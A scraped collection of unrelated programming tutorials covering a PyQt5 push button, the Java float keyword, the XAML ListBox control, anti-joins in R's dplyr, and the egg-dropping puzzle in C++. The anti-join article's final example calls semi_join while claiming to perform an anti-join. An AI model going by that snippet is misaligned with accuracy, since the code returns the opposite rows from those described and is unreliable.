[ { "code": null, "e": 24524, "s": 24496, "text": "\n17 Sep, 2019" }, { "code": null, "e": 24698, "s": 24524, "text": "QPushButton is a simple button in PyQt, when clicked by a user some associated action gets performed. For adding this button into the application, QPushButton class is used." }, { "code": null, "e": 24707, "s": 24698, "text": "Example:" }, { "code": null, "e": 24800, "s": 24707, "text": "A window having a Push Button, when clicked a message will appear “You clicked Push Button”." }, { "code": null, "e": 24819, "s": 24800, "text": "Below is the code:" }, { "code": "from PyQt5 import QtCore, QtGui, QtWidgetsimport sys class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.resize(506, 312) self.centralwidget = QtWidgets.QWidget(MainWindow) # adding pushbutton self.pushButton = QtWidgets.QPushButton(self.centralwidget) self.pushButton.setGeometry(QtCore.QRect(200, 150, 93, 28)) # adding signal and slot self.pushButton.clicked.connect(self.changelabeltext) self.label = QtWidgets.QLabel(self.centralwidget) self.label.setGeometry(QtCore.QRect(140, 90, 221, 20)) # keeping the text of label empty before button get clicked self.label.setText(\"\") MainWindow.setCentralWidget(self.centralwidget) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\")) self.pushButton.setText(_translate(\"MainWindow\", \"Push Button\")) def changelabeltext(self): # changing the text of label after button get clicked self.label.setText(\"You clicked PushButton\") # Hiding pushbutton from the main window # after button get clicked. self.pushButton.hide() if __name__ == \"__main__\": app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_()) ", "e": 26428, "s": 24819, "text": null }, { "code": null, "e": 26436, "s": 26428, "text": "Output:" }, { "code": null, "e": 26468, "s": 26436, "text": "Main Window having push button." }, { "code": null, "e": 26537, "s": 26468, "text": "After clicking the button message appeared “You clicked Push Button." }, { "code": null, "e": 26548, "s": 26537, "text": "Python-gui" }, { "code": null, "e": 26560, "s": 26548, "text": "Python-PyQt" }, { "code": null, "e": 26567, "s": 26560, "text": "Python" }, { "code": null, "e": 26665, "s": 26567, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26674, "s": 26665, "text": "Comments" }, { "code": null, "e": 26687, "s": 26674, "text": "Old Comments" }, { "code": null, "e": 26719, "s": 26687, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 26761, "s": 26719, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 26798, "s": 26761, "text": "Create a Pandas DataFrame from Lists" }, { "code": null, "e": 26827, "s": 26798, "text": "*args and **kwargs in Python" }, { "code": null, "e": 26883, "s": 26827, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 26938, "s": 26883, "text": "Selecting rows in pandas DataFrame based on conditions" }, { "code": null, "e": 26980, "s": 26938, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 27016, "s": 26980, "text": "Convert integer to string in Python" }, { "code": null, "e": 27058, "s": 27016, "text": "Check if element exists in list in Python" } ]
Java float Keyword
❮ Java Keywords float myNum = 5.75f; System.out.println(myNum); Try it Yourself » The float keyword is a data type that can store fractional numbers from 3.4e−038 to 3.4e+038. Note that you should end the value with an "f": Read more about data types in our Java Data Types Tutorial. ❮ Java Keywords We just launchedW3Schools videos Get certifiedby completinga course today! If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail: [email protected] Your message has been sent to W3Schools.
[ { "code": null, "e": 18, "s": 0, "text": "\n❮ Java Keywords\n" }, { "code": null, "e": 67, "s": 18, "text": "float myNum = 5.75f;\nSystem.out.println(myNum);\n" }, { "code": null, "e": 87, "s": 67, "text": "\nTry it Yourself »\n" }, { "code": null, "e": 181, "s": 87, "text": "The float keyword is a data type that can store fractional numbers from 3.4e−038 to 3.4e+038." }, { "code": null, "e": 229, "s": 181, "text": "Note that you should end the value with an \"f\":" }, { "code": null, "e": 289, "s": 229, "text": "Read more about data types in our Java Data Types Tutorial." }, { "code": null, "e": 307, "s": 289, "text": "\n❮ Java Keywords\n" }, { "code": null, "e": 340, "s": 307, "text": "We just launchedW3Schools videos" }, { "code": null, "e": 382, "s": 340, "text": "Get certifiedby completinga course today!" }, { "code": null, "e": 489, "s": 382, "text": "If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:" }, { "code": null, "e": 508, "s": 489, "text": "[email protected]" } ]
XAML - ListBox
A ListBox is a control that provides a list of items to the user item selection. The user can select one or more items from a predefined list of items at a time. In a ListBox, multiple options are always visible to the user without any user interaction. The hierarchical inheritance of ListBox class is as follows − Background Gets or sets a brush that provides the background of the control. (Inherited from Control) BorderThickness Gets or sets the border thickness of a control. (Inherited from Control) FontFamily Gets or sets the font used to display text in the control. (Inherited from Control) FontSize Gets or sets the size of the text in this control. (Inherited from Control) FontStyle Gets or sets the style in which the text is rendered. (Inherited from Control) FontWeight Gets or sets the thickness of the specified font. (Inherited from Control) Foreground Gets or sets a brush that describes the foreground color. (Inherited from Control) GroupStyle Gets a collection of GroupStyle objects that define the appearance of each level of groups. (Inherited from ItemsControl) Height Gets or sets the suggested height of a FrameworkElement. (Inherited from FrameworkElement) HorizontalAlignment Gets or sets the horizontal alignment characteristics that are applied to a FrameworkElement when it is composed in a layout parent, such as a panel or items control. (Inherited from FrameworkElement) IsEnabled Gets or sets a value indicating whether the user can interact with the control. (Inherited from Control) Item Gets the collection used to generate the content of the control. (Inherited from ItemsControl) ItemsSource Gets or sets an object source used to generate the content of the ItemsControl. (Inherited from ItemsControl) Margin Gets or sets the outer margin of a FrameworkElement. (Inherited from FrameworkElement) Name Gets or sets the identifying name of the object. When a XAML processor creates the object tree from XAML markup, run-time code can refer to the XAML-declared object by this name. (Inherited from FrameworkElement) Opacity Gets or sets the degree of the object's opacity. (Inherited from UIElement) SelectedIndex Gets or sets the index of the selected item. (Inherited from Selector) SelectedItem Gets or sets the selected item. (Inherited from Selector) SelectedValue Gets or sets the value of the selected item, obtained by using the SelectedValuePath. (Inherited from Selector) Style Gets or sets an instance Style that is applied for this object during layout and rendering. (Inherited from FrameworkElement) VerticalAlignment Gets or sets the vertical alignment characteristics that are applied to a FrameworkElement when it is composed in a parent object such as a panel or items control. (Inherited from FrameworkElement) Width Gets or sets the width of a FrameworkElement. (Inherited from FrameworkElement) DragEnter Occurs when the input system reports an underlying drag event with this element as the target. (Inherited from UIElement) DragLeave Occurs when the input system reports an underlying drag event with this element as the origin. (Inherited from UIElement) DragOver Occurs when the input system reports an underlying drag event with this element as the potential drop target. (Inherited from UIElement) DragStarting Occurs when a drag operation is initiated. (Inherited from UIElement) Drop Occurs when the input system reports an underlying drop event with this element as the drop target. (Inherited from UIElement) DropCompleted Occurs when a drag-and-drop operation is ended. (Inherited from UIElement) GotFocus Occurs when a UIElement receives focus. (Inherited from UIElement) IsEnabledChanged Occurs when the IsEnabled property changes. (Inherited from Control) KeyDown Occurs when a keyboard key is pressed while the UIElement has focus. (Inherited from UIElement) KeyUp Occurs when a keyboard key is released while the UIElement has focus. (Inherited from UIElement) LostFocus Occurs when a UIElement loses focus. (Inherited from UIElement) SelectionChanged Occurs when the currently selected item changes. (Inherited from Selector) SizeChanged Occurs when either the ActualHeight or the ActualWidth property changes value on a FrameworkElement. (Inherited from FrameworkElement) Arrange Positions child objects and determines a size for a UIElement. Parent objects that implement custom layout for their child elements should call this method from their layout override implementations to form a recursive layout update. (Inherited from UIElement) FindName Retrieves an object that has the specified identifier name. (Inherited from FrameworkElement) Focus Attempts to set the focus on the control. (Inherited from Control) GetValue Returns the current effective value of a dependency property from a DependencyObject. (Inherited from DependencyObject) IndexFromContainer Returns the index to the item that has the specified, generated container. (Inherited from ItemsControl) OnDragEnter Called before the DragEnter event occurs. (Inherited from Control) OnDragLeave Called before the DragLeave event occurs. (Inherited from Control) OnDragOver Called before the DragOver event occurs. (Inherited from Control) OnDrop Called before the Drop event occurs. (Inherited from Control) OnKeyDown Called before the KeyDown event occurs. (Inherited from Control) OnKeyUp Called before the KeyUp event occurs. (Inherited from Control) OnLostFocus Called before the LostFocus event occurs. (Inherited from Control) ReadLocalValue Returns the local value of a dependency property, if a local value is set. (Inherited from DependencyObject) SetBinding Attaches a binding to a FrameworkElement, using the provided binding object. (Inherited from FrameworkElement) SetValue Sets the local value of a dependency property on a DependencyObject. (Inherited from DependencyObject) The following example shows the ListBox control and a TextBox. When a user selects any item from the ListBox, then it gets displayed on the TextBox as well. Here is the XAML code to create and initialize a ListBox and a TextBox with some properties. <Window x:Class = "XAMLListBox.MainWindow" xmlns = "http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x = "http://schemas.microsoft.com/winfx/2006/xaml" Title = "MainWindow" Height = "350" Width = "604"> <Grid> <StackPanel Orientation = "Horizontal"> <ListBox Name = "listbox" Margin = "20,20,20,177" Width = "103"> <ListBoxItem Content = "Ali"/> <ListBoxItem Content = "Salman"/> <ListBoxItem Content = "Virat"/> <ListBoxItem Content = "Aamir"/> </ListBox> <TextBox Height = "23" Name = "textBox1" Width = "120" Margin = "20" HorizontalAlignment = "Left" VerticalAlignment = "Top"> <TextBox.Text> <Binding ElementName = "listbox" Path = "SelectedItem.Content"/> </TextBox.Text> </TextBox> </StackPanel> </Grid> </Window> When you compile and execute the above code, it will produce the following output − We recommend you to execute the above example code and experiment with some other properties and events. Print Add Notes Bookmark this page
[ { "code": null, "e": 2239, "s": 1923, "text": "A ListBox is a control that provides a list of items to the user item selection. The user can select one or more items from a predefined list of items at a time. In a ListBox, multiple options are always visible to the user without any user interaction. The hierarchical inheritance of ListBox class is as follows −" }, { "code": null, "e": 2250, "s": 2239, "text": "Background" }, { "code": null, "e": 2341, "s": 2250, "text": "Gets or sets a brush that provides the background of the control. (Inherited from Control)" }, { "code": null, "e": 2357, "s": 2341, "text": "BorderThickness" }, { "code": null, "e": 2430, "s": 2357, "text": "Gets or sets the border thickness of a control. (Inherited from Control)" }, { "code": null, "e": 2441, "s": 2430, "text": "FontFamily" }, { "code": null, "e": 2525, "s": 2441, "text": "Gets or sets the font used to display text in the control. (Inherited from Control)" }, { "code": null, "e": 2534, "s": 2525, "text": "FontSize" }, { "code": null, "e": 2610, "s": 2534, "text": "Gets or sets the size of the text in this control. (Inherited from Control)" }, { "code": null, "e": 2620, "s": 2610, "text": "FontStyle" }, { "code": null, "e": 2699, "s": 2620, "text": "Gets or sets the style in which the text is rendered. (Inherited from Control)" }, { "code": null, "e": 2710, "s": 2699, "text": "FontWeight" }, { "code": null, "e": 2785, "s": 2710, "text": "Gets or sets the thickness of the specified font. (Inherited from Control)" }, { "code": null, "e": 2796, "s": 2785, "text": "Foreground" }, { "code": null, "e": 2879, "s": 2796, "text": "Gets or sets a brush that describes the foreground color. (Inherited from Control)" }, { "code": null, "e": 2890, "s": 2879, "text": "GroupStyle" }, { "code": null, "e": 3012, "s": 2890, "text": "Gets a collection of GroupStyle objects that define the appearance of each level of groups. (Inherited from ItemsControl)" }, { "code": null, "e": 3019, "s": 3012, "text": "Height" }, { "code": null, "e": 3110, "s": 3019, "text": "Gets or sets the suggested height of a FrameworkElement. (Inherited from FrameworkElement)" }, { "code": null, "e": 3130, "s": 3110, "text": "HorizontalAlignment" }, { "code": null, "e": 3331, "s": 3130, "text": "Gets or sets the horizontal alignment characteristics that are applied to a FrameworkElement when it is composed in a layout parent, such as a panel or items control. (Inherited from FrameworkElement)" }, { "code": null, "e": 3341, "s": 3331, "text": "IsEnabled" }, { "code": null, "e": 3446, "s": 3341, "text": "Gets or sets a value indicating whether the user can interact with the control. (Inherited from Control)" }, { "code": null, "e": 3451, "s": 3446, "text": "Item" }, { "code": null, "e": 3546, "s": 3451, "text": "Gets the collection used to generate the content of the control. (Inherited from ItemsControl)" }, { "code": null, "e": 3558, "s": 3546, "text": "ItemsSource" }, { "code": null, "e": 3668, "s": 3558, "text": "Gets or sets an object source used to generate the content of the ItemsControl. (Inherited from ItemsControl)" }, { "code": null, "e": 3675, "s": 3668, "text": "Margin" }, { "code": null, "e": 3762, "s": 3675, "text": "Gets or sets the outer margin of a FrameworkElement. (Inherited from FrameworkElement)" }, { "code": null, "e": 3767, "s": 3762, "text": "Name" }, { "code": null, "e": 3980, "s": 3767, "text": "Gets or sets the identifying name of the object. When a XAML processor creates the object tree from XAML markup, run-time code can refer to the XAML-declared object by this name. (Inherited from FrameworkElement)" }, { "code": null, "e": 3988, "s": 3980, "text": "Opacity" }, { "code": null, "e": 4064, "s": 3988, "text": "Gets or sets the degree of the object's opacity. (Inherited from UIElement)" }, { "code": null, "e": 4078, "s": 4064, "text": "SelectedIndex" }, { "code": null, "e": 4149, "s": 4078, "text": "Gets or sets the index of the selected item. (Inherited from Selector)" }, { "code": null, "e": 4162, "s": 4149, "text": "SelectedItem" }, { "code": null, "e": 4220, "s": 4162, "text": "Gets or sets the selected item. (Inherited from Selector)" }, { "code": null, "e": 4234, "s": 4220, "text": "SelectedValue" }, { "code": null, "e": 4346, "s": 4234, "text": "Gets or sets the value of the selected item, obtained by using the SelectedValuePath. (Inherited from Selector)" }, { "code": null, "e": 4352, "s": 4346, "text": "Style" }, { "code": null, "e": 4478, "s": 4352, "text": "Gets or sets an instance Style that is applied for this object during layout and rendering. (Inherited from FrameworkElement)" }, { "code": null, "e": 4496, "s": 4478, "text": "VerticalAlignment" }, { "code": null, "e": 4694, "s": 4496, "text": "Gets or sets the vertical alignment characteristics that are applied to a FrameworkElement when it is composed in a parent object such as a panel or items control. (Inherited from FrameworkElement)" }, { "code": null, "e": 4700, "s": 4694, "text": "Width" }, { "code": null, "e": 4780, "s": 4700, "text": "Gets or sets the width of a FrameworkElement. (Inherited from FrameworkElement)" }, { "code": null, "e": 4790, "s": 4780, "text": "DragEnter" }, { "code": null, "e": 4912, "s": 4790, "text": "Occurs when the input system reports an underlying drag event with this element as the target. (Inherited from UIElement)" }, { "code": null, "e": 4922, "s": 4912, "text": "DragLeave" }, { "code": null, "e": 5044, "s": 4922, "text": "Occurs when the input system reports an underlying drag event with this element as the origin. (Inherited from UIElement)" }, { "code": null, "e": 5053, "s": 5044, "text": "DragOver" }, { "code": null, "e": 5190, "s": 5053, "text": "Occurs when the input system reports an underlying drag event with this element as the potential drop target. (Inherited from UIElement)" }, { "code": null, "e": 5203, "s": 5190, "text": "DragStarting" }, { "code": null, "e": 5273, "s": 5203, "text": "Occurs when a drag operation is initiated. (Inherited from UIElement)" }, { "code": null, "e": 5278, "s": 5273, "text": "Drop" }, { "code": null, "e": 5405, "s": 5278, "text": "Occurs when the input system reports an underlying drop event with this element as the drop target. (Inherited from UIElement)" }, { "code": null, "e": 5419, "s": 5405, "text": "DropCompleted" }, { "code": null, "e": 5494, "s": 5419, "text": "Occurs when a drag-and-drop operation is ended. (Inherited from UIElement)" }, { "code": null, "e": 5503, "s": 5494, "text": "GotFocus" }, { "code": null, "e": 5570, "s": 5503, "text": "Occurs when a UIElement receives focus. (Inherited from UIElement)" }, { "code": null, "e": 5587, "s": 5570, "text": "IsEnabledChanged" }, { "code": null, "e": 5656, "s": 5587, "text": "Occurs when the IsEnabled property changes. (Inherited from Control)" }, { "code": null, "e": 5664, "s": 5656, "text": "KeyDown" }, { "code": null, "e": 5760, "s": 5664, "text": "Occurs when a keyboard key is pressed while the UIElement has focus. (Inherited from UIElement)" }, { "code": null, "e": 5766, "s": 5760, "text": "KeyUp" }, { "code": null, "e": 5863, "s": 5766, "text": "Occurs when a keyboard key is released while the UIElement has focus. (Inherited from UIElement)" }, { "code": null, "e": 5873, "s": 5863, "text": "LostFocus" }, { "code": null, "e": 5937, "s": 5873, "text": "Occurs when a UIElement loses focus. (Inherited from UIElement)" }, { "code": null, "e": 5954, "s": 5937, "text": "SelectionChanged" }, { "code": null, "e": 6029, "s": 5954, "text": "Occurs when the currently selected item changes. (Inherited from Selector)" }, { "code": null, "e": 6041, "s": 6029, "text": "SizeChanged" }, { "code": null, "e": 6176, "s": 6041, "text": "Occurs when either the ActualHeight or the ActualWidth property changes value on a FrameworkElement. (Inherited from FrameworkElement)" }, { "code": null, "e": 6184, "s": 6176, "text": "Arrange" }, { "code": null, "e": 6445, "s": 6184, "text": "Positions child objects and determines a size for a UIElement. Parent objects that implement custom layout for their child elements should call this method from their layout override implementations to form a recursive layout update. (Inherited from UIElement)" }, { "code": null, "e": 6454, "s": 6445, "text": "FindName" }, { "code": null, "e": 6548, "s": 6454, "text": "Retrieves an object that has the specified identifier name. (Inherited from FrameworkElement)" }, { "code": null, "e": 6554, "s": 6548, "text": "Focus" }, { "code": null, "e": 6621, "s": 6554, "text": "Attempts to set the focus on the control. (Inherited from Control)" }, { "code": null, "e": 6630, "s": 6621, "text": "GetValue" }, { "code": null, "e": 6750, "s": 6630, "text": "Returns the current effective value of a dependency property from a DependencyObject. (Inherited from DependencyObject)" }, { "code": null, "e": 6769, "s": 6750, "text": "IndexFromContainer" }, { "code": null, "e": 6874, "s": 6769, "text": "Returns the index to the item that has the specified, generated container. (Inherited from ItemsControl)" }, { "code": null, "e": 6886, "s": 6874, "text": "OnDragEnter" }, { "code": null, "e": 6953, "s": 6886, "text": "Called before the DragEnter event occurs. (Inherited from Control)" }, { "code": null, "e": 6965, "s": 6953, "text": "OnDragLeave" }, { "code": null, "e": 7032, "s": 6965, "text": "Called before the DragLeave event occurs. (Inherited from Control)" }, { "code": null, "e": 7043, "s": 7032, "text": "OnDragOver" }, { "code": null, "e": 7109, "s": 7043, "text": "Called before the DragOver event occurs. (Inherited from Control)" }, { "code": null, "e": 7116, "s": 7109, "text": "OnDrop" }, { "code": null, "e": 7178, "s": 7116, "text": "Called before the Drop event occurs. (Inherited from Control)" }, { "code": null, "e": 7188, "s": 7178, "text": "OnKeyDown" }, { "code": null, "e": 7253, "s": 7188, "text": "Called before the KeyDown event occurs. (Inherited from Control)" }, { "code": null, "e": 7261, "s": 7253, "text": "OnKeyUp" }, { "code": null, "e": 7324, "s": 7261, "text": "Called before the KeyUp event occurs. (Inherited from Control)" }, { "code": null, "e": 7336, "s": 7324, "text": "OnLostFocus" }, { "code": null, "e": 7403, "s": 7336, "text": "Called before the LostFocus event occurs. (Inherited from Control)" }, { "code": null, "e": 7418, "s": 7403, "text": "ReadLocalValue" }, { "code": null, "e": 7527, "s": 7418, "text": "Returns the local value of a dependency property, if a local value is set. (Inherited from DependencyObject)" }, { "code": null, "e": 7538, "s": 7527, "text": "SetBinding" }, { "code": null, "e": 7649, "s": 7538, "text": "Attaches a binding to a FrameworkElement, using the provided binding object. (Inherited from FrameworkElement)" }, { "code": null, "e": 7658, "s": 7649, "text": "SetValue" }, { "code": null, "e": 7761, "s": 7658, "text": "Sets the local value of a dependency property on a DependencyObject. (Inherited from DependencyObject)" }, { "code": null, "e": 7918, "s": 7761, "text": "The following example shows the ListBox control and a TextBox. When a user selects any item from the ListBox, then it gets displayed on the TextBox as well." }, { "code": null, "e": 8011, "s": 7918, "text": "Here is the XAML code to create and initialize a ListBox and a TextBox with some properties." }, { "code": null, "e": 8970, "s": 8011, "text": "<Window x:Class = \"XAMLListBox.MainWindow\" \n xmlns = \"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:x = \"http://schemas.microsoft.com/winfx/2006/xaml\" \n Title = \"MainWindow\" Height = \"350\" Width = \"604\"> \n\t\n <Grid> \n <StackPanel Orientation = \"Horizontal\">\n <ListBox Name = \"listbox\" Margin = \"20,20,20,177\" Width = \"103\">\n <ListBoxItem Content = \"Ali\"/> \n <ListBoxItem Content = \"Salman\"/> \n <ListBoxItem Content = \"Virat\"/>\n <ListBoxItem Content = \"Aamir\"/> \n </ListBox> \n\t\t\n <TextBox Height = \"23\" \n Name = \"textBox1\" \n Width = \"120\" \n Margin = \"20\" \n HorizontalAlignment = \"Left\" \n VerticalAlignment = \"Top\"> \n\t\t\t\n <TextBox.Text> \n <Binding ElementName = \"listbox\" Path = \"SelectedItem.Content\"/> </TextBox.Text>\n </TextBox>\n </StackPanel>\n </Grid> \n \n</Window>" }, { "code": null, "e": 9054, "s": 8970, "text": "When you compile and execute the above code, it will produce the following output −" }, { "code": null, "e": 9159, "s": 9054, "text": "We recommend you to execute the above example code and experiment with some other properties and events." }, { "code": null, "e": 9166, "s": 9159, "text": " Print" }, { "code": null, "e": 9177, "s": 9166, "text": " Add Notes" } ]
Get Started Using Anti-joins in R | by Robert Wood | Towards Data Science
Assuming you already have some background with the other more common types of joins, inner, left, right, and outer; adding semi and anti can prove incredibly useful saving you what could have alternatively taken multiple steps. In a previous post, I outlined the benefits of semi-joins and how to use them. Here I’ll be following that up with a very similar explanation of anti-joins. If you want to brush up on semi-joins first you can find that here. Anti-joins & semi-joins are quite a bit different than the other four that I just highlighted; the number one difference being they are actually classified as what’s known as filtering joins. Syntactically it feels very similar to any other join, but the intention is not to enhance a dataset with additional columns or rows, the intent is to use these joins to perform filtering. A filtering join is not classified by the addition of new columns of information, rather it facilitates one being able to keep or reduce records in a given dataset. The anti-join is used with the intent of taking a dataset and filtering it down based on if a common identifier is not located in some additional dataset. If it shows up in both datasets... it’s excluded. A good way to drill this idea home is to code the alternative. Let’s say you’re a data analyst helping out your sales team who’s just hired on a new account executive. This new rep needs accounts, and the sales leaders want to make sure these accounts aren’t currently being worked. For this problem, let’s say we have two datasets; one that contains all accounts and another one that logs all sales activity this would have an activity id as well as an account id. First dataset | account_id | current_owner| account_name | revenue Second dataset | activity_id | account_id |activity_type | What you’ll need to do is filter the first dataset using the second dataset. Let’s first try to figure this out without the use of anti-joins Based on what we know now around left joins... we could do the following: accounts %>%left_join(activity, by = 'account_id')%>%filter(is.na(activity_type)) As you can see, we can left join the activity dataset to our accounts dataset. For whichever accounts there are not matches in this dataset activity type would be populated as NULL. As such, if you want a list of the accounts not in the second dataset you would filter where activity type is NULL. This is fine and effectively performs the same functionality I explained above. Two annoying things are 1. it gives you a new field, activity_type; 2. is that if the same account shows up many times in the activity dataset, when you join it will create a new record for as many matches as there are. We could also throw on a select statement thereafter to pull that field off, which just adds another line of code for you to write to meet this functionality. accounts %>%left_join(activity, by = 'account_id')%>%filter(is.na(activity_type))%>%select(-activity_type) Now let’s simplify things even more with an anti-join. accounts %>%semi_join(activity, by = 'account_id') This will get us to the exact same output as each of the above examples. It will filter out records of accounts where they show up in the activity dataset. As such only accounts that are not being worked are going to get moved to the new rep in our scenario. This approach won't add columns or rows to your dataset. It exclusively exists and is used with the intent to filter. There you have it, in just a few minutes we’ve covered a lot, and unlocked a bit of dplyr functionality that can simplify your code & workflow. We’ve learned: The difference between mutating joins and filtering joins How to execute a “filtering-join” in the absence of anti-joins The specific output and intent for an anti-join How to use a anti-join I hope this proves helpful in your day to day as a data professional. Happy Data Science-ing!
[ { "code": null, "e": 400, "s": 172, "text": "Assuming you already have some background with the other more common types of joins, inner, left, right, and outer; adding semi and anti can prove incredibly useful saving you what could have alternatively taken multiple steps." }, { "code": null, "e": 557, "s": 400, "text": "In a previous post, I outlined the benefits of semi-joins and how to use them. Here I’ll be following that up with a very similar explanation of anti-joins." }, { "code": null, "e": 625, "s": 557, "text": "If you want to brush up on semi-joins first you can find that here." }, { "code": null, "e": 817, "s": 625, "text": "Anti-joins & semi-joins are quite a bit different than the other four that I just highlighted; the number one difference being they are actually classified as what’s known as filtering joins." }, { "code": null, "e": 1006, "s": 817, "text": "Syntactically it feels very similar to any other join, but the intention is not to enhance a dataset with additional columns or rows, the intent is to use these joins to perform filtering." }, { "code": null, "e": 1171, "s": 1006, "text": "A filtering join is not classified by the addition of new columns of information, rather it facilitates one being able to keep or reduce records in a given dataset." }, { "code": null, "e": 1376, "s": 1171, "text": "The anti-join is used with the intent of taking a dataset and filtering it down based on if a common identifier is not located in some additional dataset. If it shows up in both datasets... it’s excluded." }, { "code": null, "e": 1439, "s": 1376, "text": "A good way to drill this idea home is to code the alternative." }, { "code": null, "e": 1842, "s": 1439, "text": "Let’s say you’re a data analyst helping out your sales team who’s just hired on a new account executive. This new rep needs accounts, and the sales leaders want to make sure these accounts aren’t currently being worked. For this problem, let’s say we have two datasets; one that contains all accounts and another one that logs all sales activity this would have an activity id as well as an account id." }, { "code": null, "e": 1856, "s": 1842, "text": "First dataset" }, { "code": null, "e": 1909, "s": 1856, "text": "| account_id | current_owner| account_name | revenue" }, { "code": null, "e": 1924, "s": 1909, "text": "Second dataset" }, { "code": null, "e": 1968, "s": 1924, "text": "| activity_id | account_id |activity_type |" }, { "code": null, "e": 2045, "s": 1968, "text": "What you’ll need to do is filter the first dataset using the second dataset." }, { "code": null, "e": 2110, "s": 2045, "text": "Let’s first try to figure this out without the use of anti-joins" }, { "code": null, "e": 2184, "s": 2110, "text": "Based on what we know now around left joins... we could do the following:" }, { "code": null, "e": 2266, "s": 2184, "text": "accounts %>%left_join(activity, by = 'account_id')%>%filter(is.na(activity_type))" }, { "code": null, "e": 2564, "s": 2266, "text": "As you can see, we can left join the activity dataset to our accounts dataset. For whichever accounts there are not matches in this dataset activity type would be populated as NULL. As such, if you want a list of the accounts not in the second dataset you would filter where activity type is NULL." }, { "code": null, "e": 2864, "s": 2564, "text": "This is fine and effectively performs the same functionality I explained above. Two annoying things are 1. it gives you a new field, activity_type; 2. is that if the same account shows up many times in the activity dataset, when you join it will create a new record for as many matches as there are." }, { "code": null, "e": 3023, "s": 2864, "text": "We could also throw on a select statement thereafter to pull that field off, which just adds another line of code for you to write to meet this functionality." }, { "code": null, "e": 3130, "s": 3023, "text": "accounts %>%left_join(activity, by = 'account_id')%>%filter(is.na(activity_type))%>%select(-activity_type)" }, { "code": null, "e": 3185, "s": 3130, "text": "Now let’s simplify things even more with an anti-join." }, { "code": null, "e": 3236, "s": 3185, "text": "accounts %>%semi_join(activity, by = 'account_id')" }, { "code": null, "e": 3613, "s": 3236, "text": "This will get us to the exact same output as each of the above examples. It will filter out records of accounts where they show up in the activity dataset. As such only accounts that are not being worked are going to get moved to the new rep in our scenario. This approach won't add columns or rows to your dataset. It exclusively exists and is used with the intent to filter." }, { "code": null, "e": 3757, "s": 3613, "text": "There you have it, in just a few minutes we’ve covered a lot, and unlocked a bit of dplyr functionality that can simplify your code & workflow." }, { "code": null, "e": 3772, "s": 3757, "text": "We’ve learned:" }, { "code": null, "e": 3830, "s": 3772, "text": "The difference between mutating joins and filtering joins" }, { "code": null, "e": 3893, "s": 3830, "text": "How to execute a “filtering-join” in the absence of anti-joins" }, { "code": null, "e": 3941, "s": 3893, "text": "The specific output and intent for an anti-join" }, { "code": null, "e": 3964, "s": 3941, "text": "How to use a anti-join" }, { "code": null, "e": 4034, "s": 3964, "text": "I hope this proves helpful in your day to day as a data professional." } ]
Egg Dropping Puzzle
This is a famous puzzle problem. Suppose there is a building with n floors, if we have m eggs, then how can we find the minimum number of drops needed to find a floor from which it is safe to drop an egg without breaking it. There some important points to remember − When an egg does not break from a given floor, then it will not break for any lower floor also. If an egg breaks from a given floor, then it will break for all upper floors. When an egg breaks, it must be discarded, otherwise, we can use it again. Input: The number of eggs and the maximum floor. Say the number of eggs are 4 and the maximum floor is 10. Output: Enter number of eggs: 4 Enter max Floor: 10 Minimum number of trials: 4 eggTrialCount(eggs, floors) Input: Number of eggs, maximum floor. Output − Get a minimum number of trials. Begin define matrix of size [eggs+1, floors+1] for i:= 1 to eggs, do minTrial[i, 1] := 1 minTrial[i, 0] := 0 done for j := 1 to floors, do minTrial[1, j] := j done for i := 2 to eggs, do for j := 2 to floors, do minTrial[i, j] := ∞ for k := 1 to j, do res := 1 + max of minTrial[i-1, k-1] and minTrial[i, j-k] if res < minTrial[i, j], then minTrial[i,j] := res done done done return minTrial[eggs, floors] End #include<iostream> using namespace std; int max(int a, int b) { return (a > b)? a: b; } int eggTrialCount(int eggs, int floors) { //minimum trials for worst case int minTrial[eggs+1][floors+1]; //to store minimum trials for ith egg and jth floor int res; for (int i = 1; i <= eggs; i++) { //one trial to check from first floor, and no trial for 0th floor minTrial[i][1] = 1; minTrial[i][0] = 0; } for (int j = 1; j <= floors; j++) //when egg is 1, we need 1 trials for each floor minTrial[1][j] = j; for (int i = 2; i <= eggs; i++) { //for 2 or more than 2 eggs for (int j = 2; j <= floors; j++) { //for second or more than second floor minTrial[i][j] = INT_MAX; for (int k = 1; k <= j; k++) { res = 1 + max(minTrial[i-1][k-1], minTrial[i][j-k]); if (res < minTrial[i][j]) minTrial[i][j] = res; } } } return minTrial[eggs][floors]; //number of trials for asked egg and floor } int main () { int egg, maxFloor; cout << "Enter number of eggs: "; cin >> egg; cout << "Enter max Floor: "; cin >> maxFloor; cout << "Minimum number of trials: " << eggTrialCount(egg, maxFloor); } Enter number of eggs: 4 Enter max Floor: 10 Minimum number of trials: 4
